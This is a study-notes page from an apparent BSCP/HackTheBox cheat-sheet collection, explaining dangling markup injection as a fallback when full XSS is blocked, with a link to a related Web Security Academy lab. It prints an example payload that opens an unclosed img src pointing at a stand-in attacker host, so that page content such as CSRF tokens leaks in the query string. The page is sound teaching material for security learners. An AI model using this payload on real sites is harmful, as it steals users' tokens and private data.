👑
Cheet Sheet: AWS, BSCP, HTB
  • 🔹Script Kiddies🔹
    • Wifi Cracking
    • Spam
    • Malware
    • Crypto
  • 🔹AWS🔹
    • AWS Certified Security - Specialty
  • 🔹BSCP🔹
    • #1 Web Attack Cheat Sheet
    • #2 Web Attack: Cheat Sheet
    • BAPP EXTENTIONS
    • 1. Essential skills
    • 2. Information disclosure
    • 3 .HTTP Host headers
    • 4. Authentication
    • 5. OAuth Authentication
    • 6. Broken access control
    • IDOR
    • 7. Path traversal
    • 8. File upload vuln
    • 9. Open Redirect
    • 10. Web Cache Poisoning
    • CSP
    • DOM clobbering
    • 11. Prototype Pollution
    • 12. Web messages
    • 13. WebSockets
    • HTTP request smuggling
    • OS Command Injection
    • Dangling markup injection
    • CORS
    • Logic Flaws
    • Insecure deserialization
    • JWT
    • Clickjacking
    • Race Condition
    • LFI / RFI
    • CSRF
    • SSRF
    • SSTI
    • XXE
    • XSS
    • XSS PAYLOADS
    • GRAPHQL
    • NoSQL Injection
    • SQL Injection
  • 🔹HTB🔹
    • CTF
    • Starting Point
    • TIER: 1
    • TIER: 2
  • 🔹HTB: LINUX OSCP PREP🔹
    • Lame Writeup
    • Brainfuck Writeup
    • Shocker Writeup
    • Bashed Writeup
    • Nibbles
    • Tabby
    • Cronos
    • Nineveh
    • Sense
    • SolidState
    • Node
    • Valentine
    • Poison
    • Sunday
    • TartarSauce
    • Irked
    • FriendZone
    • SwagShop
    • Networked
    • Jarvis
    • Magic
    • Delivery
    • Paper
    • Armageddon
    • Knife
    • Previse
    • Soccer
    • OpenAdmin
  • 🔹HTB: WINDOWS OSCP PREP🔹
    • Legacy
    • Blue
    • Devel
    • Optimum
    • Bastard
    • Granny
    • Artic
    • Grandpa
    • Silo
    • Bounty
    • Jerry
    • Conceal
    • Chatterbox
    • Forest #1 AD
    • Active #2 AD
    • Sauna #3 AD
    • Resolute #4 AD
    • Cascade #5 AD
    • Bastion
    • ServMon
    • Buff
    • Toolbox
    • Driver
    • Return
    • Timelapse
    • Love
    • Monteverde
    • Fuse
    • Scrambled
Powered by GitBook
On this page
  1. 🔹BSCP🔹

Dangling markup injection

PreviousOS Command InjectionNextCORS

Last updated 1 year ago

Dangling markup injection is a technique for capturing data cross-domain in situations where a full cross-site scripting attack isn't possible. Suppose an application embeds attacker-controllable data into its responses in an unsafe way:

<input type="text" name="input" value="CONTROLLABLE DATA HERE

Suppose also that the application does not filter or escape the > or " characters. An attacker can use the following syntax to break out of the quoted attribute value and the enclosing tag, and return to an HTML context:

">

In this situation, an attacker would naturally attempt to perform XSS. But suppose that a regular XSS attack is not possible, due to input filters, content security policy, or other obstacles. Here, it might still be possible to deliver a dangling markup injection attack using a payload like the following:

"><img src='//attacker-website.com?

This payload creates an img tag and defines the start of a src attribute containing a URL on the attacker's server. Note that the attacker's payload doesn't close the src attribute, which is left "dangling". When a browser parses the response, it will look ahead until it encounters a single quotation mark to terminate the attribute. Everything up until that character will be treated as being part of the URL and will be sent to the attacker's server within the URL query string. Any non-alphanumeric characters, including newlines, will be URL-encoded.

The consequence of the attack is that the attacker can capture part of the application's response following the injection point, which might contain sensitive data. Depending on the application's functionality, this might include CSRF tokens, email messages, or financial data. Any attribute that makes an external request can be used for dangling markup.

//LAB: Reflected XSS protected by very strict CSP, with dangling markup attack

Dangling markup injection | Web Security AcademyWebSecAcademy
Logo
Lab: Reflected XSS protected by very strict CSP, with dangling markup attack | Web Security AcademyWebSecAcademy
Burp PRO Collaborator
Logo